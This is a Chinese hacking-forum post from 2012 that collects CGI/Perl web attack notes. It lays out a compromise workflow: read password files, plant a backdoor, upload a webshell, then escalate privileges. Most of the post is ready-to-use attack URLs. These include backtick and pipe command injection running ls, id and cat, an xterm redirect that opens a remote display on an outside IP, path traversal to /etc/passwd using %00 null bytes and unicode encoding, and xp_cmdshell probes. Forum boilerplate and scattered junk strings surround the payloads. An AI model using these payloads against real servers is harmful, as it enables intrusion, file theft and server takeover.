找回密码
 立即注册
查看: 3424|回复: 0
打印 上一主题 下一主题

CGI资料整理

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 16:56:16 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
总体思路,跳过限制,查看敏感文件和密码相关文件。写入一句话cgi,进后台试传webshell(后台如果加验证或者MD5过的时候,可以试着  ) l; ?6 n1 k: ?- @# Y
cookies欺骗,本地提交),寻找可执行的目录和相关函数,拿shell…………》提权  
7 f' c6 M- d' D" U. ~" l( m  V感谢EMM和ps的睿智和他们高超的脚本技术,还有以前老红4的脚本群英和国外的那些牛淫们  - c9 H0 q; ]! V# o( F3 y( d
注“  4 c" u# e8 K8 v. `; ?6 }
perl脚本的漏洞大多出在open()、system()或者 ’’调用中。前者允许读写和执行,而后两个允许执行。  : T  C9 W3 G: N* z
以POST的方法发送表格的话,就不能蒙混过关(%00将不会被解析),所以我们大部分用GET  
7 o) b8 R' k% i" m! Z  }7 }( V2 j: a; O6 \4 U
http://target.com/cgi-bin/home/news/sub.pl?12 随意构造  
+ S% V& M$ P: i* x, Whttp://target.com/cgi-bin/home/news/sub.pl?& 换个字符,也许可以执行呢  ' J. G4 X$ o! y! a6 v. l- x
http://target.com/cgi-bin/home/news/sub.pl?`ls` 单引号  
! U) s+ Q  _- F; Y$ _3 k6 jhttp://target.com/cgi-bin/home/news/sub.pl?`id`  & G% K) U" }% ?4 Z
http://target.com/cgi-bin/home/news/sub.pl?`IFS=!;uname!-a`  
! \3 s8 o" y% @4 _4 ]http://target.com/cgi-bin/home/news/sub.pl?`cat<’/home1/siteadm/cgi-bin/home/news/sub.pl’` 非常好的思路,把代码cat回来显示  
; p" ~- u: O; D* ?: c0 d8 H& `2 g4 F* S
http://target.com/test.pl;ls|  ) c& y6 e$ v5 @
http://target.com/index.cgi?page=|ls+-la+/%0aid%0awhich+xterm|  $ s. |- v2 a- L9 g' Q/ {+ {
http://target.com/index.cgi?page=|xterm+-isplay+10.0.1.21:0.0+%26|  9 u( }0 u2 A+ t& |$ @2 i) j' s
http://target.com/test.pl?’id’ 类似’’内的操作和命令执行自己构造  
9 M9 [/ t" c) k* N) T- s7 s比如:cat<’/home1/siteadm/cgi-bin/home/news/test.pl’` 把pl代码显示出来。  
7 e' T3 K% O# l9 d1 @% A' l$ whttp://target.com/index.cgi?page=;dir+c:\|&cid=03417 类似asp的Sql injection  * Y! A3 w# N+ |

7 ^8 d2 l8 L- ~9 ?7 Z  w2 Whttp://target.com/test.pl?&........ /../../etc/passwd  % M7 D1 q7 S) J0 J
  R; W: Y8 i% }+ H/ a! o
http://www.target.org/cgi-bin/cl ... info.pl?user=./test 前面加./  2 ^1 J. c; I2 i. p6 }, _! n5 _
http://www.target.org/cgi-bin/cl ... nfo.pl?user=test%00 注意后面的 %00 别弄丢了  ! b2 Y2 m% x: }6 r* R8 E2 T
http://www.target.org/cgi-bin/cl ... ../../etc/passwd%00  
% `( S5 C9 F+ S- {1 m8 h. G1 I  x! d- y4 q" a* t4 Q" y) @$ U1 U* }7 S
http://www.target.org/show.php?f ... /include/config.php 查看php代码  & m; T. Z4 u5 r- ~3 A8 G7 ?5 T
http://www.target.org/show.php?f ... ng/admin/global.php  3 t$ N) L4 Z# L( Q

7 s- T6 d! ~. u  e7 U, \. jemm和ps的一句话
! Z; v/ X# p: @. C9 R( c! P: V- x1 j' p" h* n( T0 d, B3 K
http://www.target.org/cgi-bin/cl ... /../../../bin/ls%20  * K. Q/ u+ J/ _: |  `

  `' F0 a8 N1 ^, M>bbb%20|  
* h2 j% P8 G2 T8 H9 o: R4 a" r+ ?# {9 X' f
http://www.target.org/cgi-bin/club/scripts\’less showpost.pl\’ 并且寻找(用\’/\’)\’Select\’ 字符串  
1 q3 q6 _# D6 `  I# @+ K
: S, h; r; b2 T* E3 u8 |http://www.target.org/cgi-bin/cl ... bin/sh.elf?ls+/http 这里的是elf是CCS中文linux操作系统特征  & B$ q0 j1 G8 `, U9 ?2 n
http://www.target.org/csapi/..%c0%afhttp/china.sh”+.elf?”+&+ls+/bin  * K. l; S- @% F. F4 \

& H0 l) L/ I2 w+ ~& w" i5 w" V相关html为后缀的脚本技术,继续深挖中,但是不可质疑的是提交数据查询语句也是一种完美的方法  $ {, y5 W6 e' w6 \$ z! l- k
http://target.com/index.html#cmd.exe  . e; [6 G' D8 u: A' m; t
http://target.com/index.html?dummyparam=xp_cmdshell  , w% U8 ]; W! x" A  F4 T9 c
lynx http://target.com/cgi-bin/htmlscript?../../../../etc/passwd  # K' N$ U9 G6 u
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表